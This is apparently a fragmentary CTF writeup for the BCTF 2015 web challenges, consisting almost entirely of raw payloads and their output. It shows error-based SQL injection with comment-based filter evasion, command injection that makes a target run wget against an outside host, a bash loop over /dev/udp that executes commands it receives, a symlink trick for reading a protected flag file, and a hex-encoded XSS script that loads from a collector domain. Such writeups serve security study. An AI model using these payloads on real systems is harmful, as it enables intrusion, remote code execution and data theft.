BCTF 2015 WEB题目通关攻略（Writeup）

[BCTF 2015 has started. Check in flag: OPGS{jr1p0zr-g0-OPGS-2015_t00q-yhpx}.

OPGS{jr1p0zr-g0-OPGS-2015_t00q-yhpx} <--> BCTF{we1c0me-t0-BCTF-2015_g00d-luck}

Register

Already registered? Click Here to Login

URL: http://104.197.7.111:8080/register POST: username=admin&password=,'  error executing sql: insert into users (username, password) values ('admin', ','')  (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '','')' at line 1")

username=admin/&password=,updatexml(1,(select password from users limit 1),1) or '  password contains SQL injection, IP recorded.

username=admin/&password=,updatexml(1,(/*/*/select password from/*/*/users limit/*/*/1),1) or/*/*/'  (1105, "XPATH syntax error: '{h0w-d1d-y0u-fee1-l1ke-th3-sql1-'")

username=admin/&password=,updatexml(1,(/*/*/select right(password,33)/*/*/from/*/*/users limit/*/*/1),1) or/*/*/'  (1105, "XPATH syntax error: 'd-y0u-fee1-l1ke-th3-sql1-eng1ne}'")

{h0w-d1d-y0u-fee1-l1ke-th3-sql1-eng1ne}

http://www.google.com/`wget worm.cc:8000`/1.torrent http://www.google.com/`wget${IFS}worm.cc:8000`/1.torrent

root@e:/rootkit# python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... 118.186.202.142 - - [22/Mar/2015 13:44:39] "GET / HTTP/1.1" 200 - 118.186.202.142 - - [22/Mar/2015 13:44:41] code 404, message File not found

#!/bin/bash  exec 9<> /dev/udp/localhost/8088 [ $? -eq 1 ] && exit echo "connect ok" >&9  while : do   a=`dd bs=200 count=1 <&9 2>/dev/null`   if echo "$a"|grep "exit"; then break; fi   echo `$a` >&9 done  exec 9>&- exec 9<&-

/var/www/flag/use_me_to_read_flag /var/www/flag/flag >_ Permission denied

ln -s /var/www/flag/flag /tmp/warning /var/www/flag/use_me_to_read_flag /tmp/warning

mysql> select hex(' 

'); +--------------------------------------------------------------+ | hex(' ') | +--------------------------------------------------------------+ | 3C73637269707***********3D687474703A2F2F7873732E6861636B7461736B2E6E65742F30544C73356E3F | +--------------------------------------------------------------+ test: '),(0x3C73637269707***********3D687474703A2F2F7873732E6861636B7461736B2E6E65742F30544C73356E3F),('

➜  ~  echo -n "QkNURnt4c3NfaXNfbm90X3RoYXRfZGlmZmljdWx0X3JpZ2h0fQ==" | base64 -D BCTF{xss_is_not_that_difficult_right}